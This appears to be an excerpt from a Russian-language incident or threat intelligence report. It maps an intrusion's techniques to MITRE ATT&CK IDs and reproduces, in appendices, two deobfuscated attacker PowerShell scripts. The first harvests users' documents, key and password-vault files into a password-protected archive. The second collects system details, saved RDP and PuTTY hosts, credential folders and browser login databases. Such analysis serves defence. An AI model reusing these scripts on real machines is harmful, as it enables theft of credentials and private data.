Remote Services: Remote Desktop Protocol

T1021.001

Для перемещения по локальной сети использовался RDP

Remote Services: SMB/Windows Admin Shares

ID: T1021.002

Smbexec
следы доступа к шарам

Remote Services: Windows Remote Management

ID: T1021.006

Активное использование wmi для доступа к системам

Use Alternate Authentication Material: Pass the Hash
 ID: T1550.002

Использование Pass the Hash

Defense Evasion

Indicator Removal: Clear Windows Event Logs

Indicator Removal: Clear Windows Event Logs

Deobfuscate/Decode Files or Information

ID: T1140

Данные иногда закодированы или зашифрованы

Indicator Removal: File Deletion

ID: T1070.004

Удаление файлов, использованных в атаке

Masquerading: Masquerade File Type

ID: T1036.008

PNG который не картинка, а шелл код
aas.log – это переименованный исполняемый файл 7z.exe

Modify Registry

ID: T1112

Модификация SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

UseLogonCredential

Hijack Execution Flow: DLL Side-Loading

ID: T1574.002

Dll sideloading

Process Injection: Dynamic-link Library Injection
T1055.001

Загрузка вредоносных .NET-сборок в память процесса w3wp.exe

Process Injection: Thread Execution Hijacking

T1055.003

Загрузка .NET RAT в процесс powershell.exe

Masquerading: Match Legitimate Name or Location
T1036.005

Наименования .NET-сборок именами, мимикрирующими под легитимные .NET-сборки для дополнительной скрытности

Indicator Removal on Host: File Deletion
T1070.004

Удаление своих файлов и данных

Masquerading: Masquerade Task or Service

ID: T1036.004

Наименования сервисов мимикрируют под легитимные

Persistence



Valid Accounts: Domain Accounts
ID: T1078.002

Использование существующих УЗ

Valid Accounts: Local Accounts

ID: T1078.003

Использование существующих УЗ

Server Software Component: Web Shell

ID: T1505.003

Размещение веб-шеллов

T1543.003 Windows Service

Использование сервисов для закрепления

T1053 .005 Scheduled Task

Создание задач для закрепления

External Remote Services

Использование VPN для подключений

Command and Control

Ingress Tool Transfer

Следы wget, curl

Application Layer Protocol: Web Protocols

ID: T1071.001

Атакующий отправлял POST-запросы с вредоносными нагрузками VIEWSTATE

T1001.003 Data Obfuscation: Protocol Impersonation

Отправка POST-запросов с параметрами, имена которых мимикрируют под легитимные названия cookies в POST-запросах механизма Form-based Authentication

Proxy

Venom Proxy

Exfiltration

Exfiltration Over C2 Channel

Передача данных на С2

Exfiltration Over Web Service

ID: T1567

Передача данных через exchange

Collection

Archive Collected Data: Archive via Utility

ID: T1560.001

Создание архива для последующей загрузки, через 7zip или Compress-Archive

Email Collection: Local Email Collection

ID: T1114.001

Копирование базы данных outlook с расширением pst у интересующих учетных записей

Automated Collection
 ID: T1119

Использование скриптов для сбора данных

Data from Local System

ID: T1005

Сбор данных с локальных машин

Screen Capture

ID: T1113

Запись экрана

Data from Information Repositories

ID: T1213

Доступ и сбор интересующих данных из различных автоматизированных систем



Приложение 5. Powershell-скрипт для сбора данных пользователей

Примечание: скрипт приведен к читаемому виду

      
$ErrorActionPreference = "Stop"
#$VerbosePreference = "continue", $consoleAllocated = [Environment]::UserInteractive

function AllocConsole() {
	if($Global:consoleAllocated) {
		return
	}
	cmd /c ver | Out-Null
	$a = @"
[DllImport("kernel32", SetLastError = true)], public static extern bool AllocConsole();
"@
	$params = New-Object CodeDom.Compiler.CompilerParameters
	$params.MainClass = "methods"
	$params.GenerateInMemory = $true
	$params.CompilerOptions = "/unsafe"
	$r = Add-Type -MemberDefinition $a -Name methods -Namespace kernel32 -PassThru -CompilerParameters $params
	Write-Verbose "Allocating console"
	[kernel32.methods]::AllocConsole() | Out-Null
	Write-Verbose "Console allocated"
	$Global:consoleAllocated = $true
}

function RunConsole($scriptBlock) {
	AllocConsole
	$encoding = [Console]::OutputEncoding
	[Console]::OutputEncoding = [System.Text.Encoding]::GetEncoding("cp866") 
	$prevErrAction = $ErrorActionPreference
	$ErrorActionPreference = "Continue"
	try {
		$scriptBlock
	}
	finally {
		$ErrorActionPreference = $prevErrAction
		[Console]::OutputEncoding = $encoding
	}
}

RunConsole {
	$pth='c:\ProgramData\OFFICEDA'
	$pmd='c:\programdata\'
	$cname=Get-WmiObject -Class Win32_ComputerSystem | %{$_.name}
	$fp=$cname+'@'+(get-date).ToString("yyyy-MM-dd")
	$dfile=$pmd+$fp+'.zip'
	$dzfile=$pmd+$fp+'.7z'
	$pinf=Get-WmiObject -Query "select * from win32_process where name='explorer.exe'"
	$lusrs=@($pinf | % { $_.GetOwner().User } | Sort-Object -Unique)
	$z7="C:\Program Files\7-Zip\7z.exe"

	function dfc {
		 if(!(Test-Path $pth)) {
			mkdir $pth -Force
			$sdate='01/01/2020'
		 }
		 else {
			$sdate=(gi $pth).LastWriteTime.ToString("MM/dd/yyyy")
		}

		$com="c:\users\$lusrs"
		$dirs = @('\desktop','\documents','\downloads','\AppData\Local\Microsoft\Windows\INetCache\','\AppData\Local\Packages','\AppData\Local\Microsoft\Windows\Temporary Internet Files\')
		$dirs | %{
			gci $com$_ -Recurse -Depth 10 -Force -ErrorAction SilentlyContinue |
			where {
				$_.Extension -match '\.(docx?|xlsx?|rtf|dst|ovpn|kdbx|txt|xps|key|cer)$' -and $_.LastWriteTime -ge $sdate
			} |
			Select-Object FullName |
			%{
				copy $_.FullName $pth
				ac $pth\log.log $_.FullName
			}
		}
		sleep 10

		try {
			Compress-Archive -Path "$pth\*" -DestinationPath $dfile -Force -ErrorAction SilentlyContinue | out-null
			sleep 5
			rm "$pth\*" -Force -ErrorAction SilentlyContinue
		} catch {
			$errorMessage = 'Error message: ' + $_.Exception.Message
			Out-File -InputObject $errorMessage -Append -FilePath c:\ProgramData\log.txt
		}

		if(Test-Path $z7) {
			$tp='elDFEef234@#';
			$ifs=gci $pth -Force

			if($ifs -ne $null) {
				try {
					saps -Wi Hidden -f $z7 -A "a $dzfile -p$tp -mhe $pth\* -sdel" -Wai -ErrorAction SilentlyContinue;
				} catch {
					$errorMessage = 'Error message: ' + $_.Exception.Message Out-File -InputObject $errorMessage -Append -FilePath c:\ProgramData\log.txt
				}
			} else {
				try {
					saps -Wi Hidden -f $z7 -A "a $dzfile -p$tp -mhe $dfile -sdel" -Wai -ErrorAction SilentlyContinue;
				} catch {
					$errorMessage = 'Error message: ' + $_.Exception.Message
					Out-File -InputObject $errorMessage -Append -FilePath c:\ProgramData\log.txt
				}
			}
		}
	}
	dfc
}
    


Приложение 6. Powershell скрипт для сбора системной информации

Примечание: скрипт приведен к читаемому виду

      
$ErrorActionPreference = "Stop"
#$VerbosePreference = "continue"
$consoleAllocated = [Environment]::UserInteractive

function AllocConsole() {
	if($Global:consoleAllocated) {}
	cmd /c ver | Out-Null
	$a = @"
[DllImport("kernel32" SetLastError = true)] public static extern bool AllocConsole();
"@
	$params = New-Object CodeDom.Compiler.CompilerParameters
	$params.MainClass = "methods"
	$params.GenerateInMemory = $true 
	$params.CompilerOptions = "/unsafe" 
	$r = Add-Type -MemberDefinition $a -Name methods -Namespace kernel32 -PassThru -CompilerParameters $params
	Write-Verbose "Allocating console"
	[kernel32.methods]::AllocConsole() | Out-Null
	Write-Verbose "Console allocated"
	$Global:consoleAllocated = $true
}

function RunConsole($scriptBlock) { 
	AllocConsole
	$encoding = [Console]::OutputEncoding
	[Console]::OutputEncoding = [System.Text.Encoding]::GetEncoding("cp866")
	$prevErrAction = $ErrorActionPreference
	$ErrorActionPreference = "Continue"
	try {
		$scriptBlock
	} 
	finally { 
		$ErrorActionPreference = $prevErrAction
		[Console]::OutputEncoding = $encoding 
	}
}

RunConsole {
	$pth='c:\ProgramData\Microsoft\OFFICEDRM\'
	$cname=Get-WmiObject -Class Win32_ComputerSystem | %{$_.name}
	$fp=$cname+'@'+(get-date).ToString("yyyy-MM-dd")
	$infofile=$pth+$fp+'.inf'
	$diskfile=$pth+$fp+'disk'+'.inf'
	$dfile=$pth+$fp+'inf'+'.zip'
	$pinf=Get-WmiObject -Query "select * from win32_process where name='explorer.exe'"
	$lusrs=@($pinf | % { $_.GetOwner().User } | Sort-Object -Unique)
	if(!(Test-Path $pth)){mkdir $pth -Force;$st='01/13/2017'}
	else{$st=(gi $pth).LastWriteTime.ToString("MM/dd/yyyy")}
	([datetime]::Now.AddMilliseconds(-([environment]::TickCount))) | Out-File -Encoding UTF8 -Append $infofile 
	Get-NetIPConfiguration -Detailed | Out-File -Encoding UTF8 -Append $infofile
	Resolve-DnsName -Name mail.ru -Server 8.8.8.8 -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
	Get-NetTCPConnection | Out-File -Encoding UTF8 -Append $infofile
	Get-NetNeighbor | Out-File -Encoding UTF8 -Append $infofile
	Get-NetRoute | Out-File -Encoding UTF8 -Append $infofile
	Get-WmiObject win32_networkadapterconfiguration -filter "ipenabled = 'True'" | Select-Object PSComputerName,Description,DHCPLeaseExpires,DHCPServer,DNSDomain,DNSDomainSuffixSearchOrder,IPAddress,DefaultIPGateway,IPSubnet,MACAddress | Out-File -Encoding UTF8 -Append $infofile
	Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption,CSName,InstallDate,LastBootUpTime,MUILanguages,OSArchitecture,Version | Out-File -Encoding UTF8 -Append $infofile
	Get-WmiObject -Class Win32_ComputerSystem | Select-Object name,Domain,Manufacturer,Model,PrimaryOwnerName,TotalPhysicalMemory,UserName,Workgroup | Out-File -Encoding UTF8 -Append $infofile 
	Get-WmiObject -Class win32_logicaldisk | Out-File -Encoding UTF8 -Append $infofile
	$lcusrs=Get-LocalUser | %{$_.name}
	foreach ($lcusr in $lcusrs) {
		Get-LocalUser -Name $lcusr | fl * | Out-File -Encoding UTF8 -Append $infofile
	}, 
	Get-WmiObject -Class Win32_Process | ?{$_.path -ne $null} | %{"`nprocessname:"+$_.processname,"`nprocessid:"+$_.processid,"`npath:"+$_.path} | Out-File -Encoding UTF8 -Append $infofile
	$HKU = Get-PSDrive HKU -ea silentlycontinue
	if (!$HKU ) { 
		New-PSDrive -Name HKU -PsProvider Registry HKEY_USERS | out-null
		Set-Location HKU:
	}
	$sids = Get-ChildItem -path "hku:" | %{$_.PSChildName}
	Get-ItemProperty "hklm:system\currentcontrolset\enum\usbstor" | Out-File -Encoding UTF8 -Append $infofile 
	foreach($sid in $sids) {
		Get-ItemProperty -Path "HKU:\$sid\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
		Get-ItemProperty -Path "HKU:\$sid\Software\Microsoft\Internet Explorer\TypedURLs" -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
		Get-ItemProperty -Path "HKU:\$sid\SOFTWARE\SimonTatham\PuTTY\SshHostKeys" -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
		Get-ItemProperty -Path "HKU:\$sid\Software\Microsoft\Terminal Server Client\default" -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
		$ser=Get-ChildItem -Path "HKU:\$sid\Software\Microsoft\Terminal Server Client\servers" -Recurse -Force -ErrorAction SilentlyContinue | ft;, 
		Out-File -InputObject $ser -Encoding UTF8 -Append $infofile
	}
	gci 'c:\Program Files' -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
	gci 'c:\Program Files (x86)' -ErrorAction SilentlyContinue | Out-File -Encoding UTF8 -Append $infofile
	gci C:\Users\$lusrs\AppData\Local\Microsoft\Credentials\ -ErrorAction SilentlyContinue -for | Out-File -Encoding UTF8 -Append $infofile
	$dirs = @('\desktop','\documents','\downloads','\appdata\local\Ngateclient')
	foreach($dir in $dirs) {
		gci "c:\users\$lusrs\$dir" -Recurse -Depth 10 -Force -ErrorAction SilentlyContinue | ?{$_.Attributes -match 'Archive'} | %{"{0},{1}KB,{2},{3}" -f $_.fullName,($_.length/1kb),$_.CreationTime,$_.LastWriteTime} | out-file -encoding utf8 -append $diskfile
	}
	$acp="C:\Users\$lusrs\AppData\Local\Google\Chrome\User Data\Default"
	$ycp="C:\Users\$lusrs\AppData\Local\Yandex\YandexBrowser\User Data\Default"
	if(test-path $acp) {
		copy "$acp\history" $pth"cmhistory" -Force
		copy "$acp\Bookmarks" $pth"cmBookmarks" -Force
		copy "$acp\Login Data" $pth"cmlogin" -Force 
	}
	if(Test-Path $ycp) {
		copy "$ycp\history" $pth"ydhistory" -Force
		copy "Bookmarks" $pth"ydBookmarks" -Force
		copy "Web Data" $pth"yddata" -Force
	}
	Compress-Archive -Path "$pth\*" -DestinationPath $dfile -Force -ErrorAction SilentlyContinue | out-null
}